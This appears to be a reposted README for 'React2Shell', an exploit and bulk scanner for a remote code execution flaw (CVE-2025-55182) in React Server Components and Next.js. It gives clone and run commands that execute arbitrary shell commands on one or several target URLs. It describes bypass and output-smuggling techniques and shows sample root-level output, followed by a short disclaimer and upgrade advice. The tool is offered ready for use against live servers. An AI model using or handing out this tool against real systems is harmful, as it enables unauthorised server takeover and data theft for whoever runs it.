⚛️ React2Shell Exploit (CVE-2025-55182)

A lightweight, automated Proof of Concept (PoC) and bulk scanner for the Critical RCE vulnerability in React Server Components (React 19 / Next.js).

⚠️ Legal Disclaimer

FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY.

This tool is designed to help security professionals and administrators verify the vulnerability of their own systems. The author is not responsible for any misuse, damage, or illegal acts performed using this code.

• Do not scan targets without explicit permission.
• This tool executes code on the target server. Use responsibly.

🔍 What is CVE-2025-55182?

CVE-2025-55182 is a remote code execution vulnerability in react-server-dom-webpack, a core package used by Next.js (App Router) and React 19.

The vulnerability allows an unauthenticated attacker to inject malicious payloads into React Server Actions. By manipulating the deserialization process, the attacker can access the JavaScript Function constructor and execute arbitrary system commands on the server.

Read In details : https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components

Affected Versions:

• react-server-dom-webpack: 19.0.0 - 19.2.0
• next: 13.4.x, 14.x (pre-14.2.35), 15.x (pre-15.5.9)

🚀 New Features (v2.0)

This updated script uses advanced exploitation techniques to be more reliable:

1. Universal Bypass: Uses Prototype Pollution on internal form data to bypass the need for a valid Next-Action ID. Works on any vulnerable Next.js instance without manual reconnaissance.
2. Redirect Smuggling: Forces the server to throw a fake "Redirect Error", smuggling the command output into the HTTP Location header. This avoids 500 errors and provides clean output.
3. Bulk Scanning: Check multiple domains in a single command.

🚀 Setup & Installation

1. Clone the repository:

   root@kitploit:~

   git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
   

2. Navigate to the directory:

   root@kitploit:~

   cd React-Security-CVE-2025-55182-Exploit
   

3. Check Node.js version: Ensure you have Node.js installed (v18 or higher is recommended).

   root@kitploit:~

   node -v
   

   (Note: This script uses standard Node.js libraries, so no npm install is required.)

⚡ How to Run the Script

The script react2shell.js automatically detects if you are scanning one or multiple targets.

Option 1: Scan Single or Multiple Targets

The default command executed is id.

# Single Target
node react2shell.js http://localhost:3000 ls

# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls

Option 2: Custom Command

To execute a specific command, provide it as the last argument.

# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>

📊 Understanding the Output

• ⚠️ VULNERABLE: The tool successfully executed the command and smuggled the output via the redirect header.

  root@kitploit:~

  [*] Starting Universal Scan...
  [*] Payload Command: "id"
  
  ⚠️  VULNERABLE (http://localhost:3000)
      Output: uid=0(root) gid=0(root) groups=0(root)
  

• 🛡️ SAFE: The server rejected the payload or is patched.

  root@kitploit:~

  🛡️  SAFE (http://google.com) | Status: 405
  

• ❌ CONNECT ERROR: The script could not reach the server.

  root@kitploit:~

  ❌ CONNECT ERROR (http://bad-url.com) | fetch failed
  

🛡️ Mitigation

If your application is vulnerable, upgrade your dependencies immediately.

For Next.js:

# Next.js 14
npm install [email protected] react@latest react-dom@latest

# Next.js 15
npm install [email protected] react@latest react-dom@latest

For other frameworks (Waku, Remix, etc): Ensure react-server-dom-webpack is upgraded to v19.2.1 or higher.

📜 License

Distributed under the MIT License. See LICENSE for more information.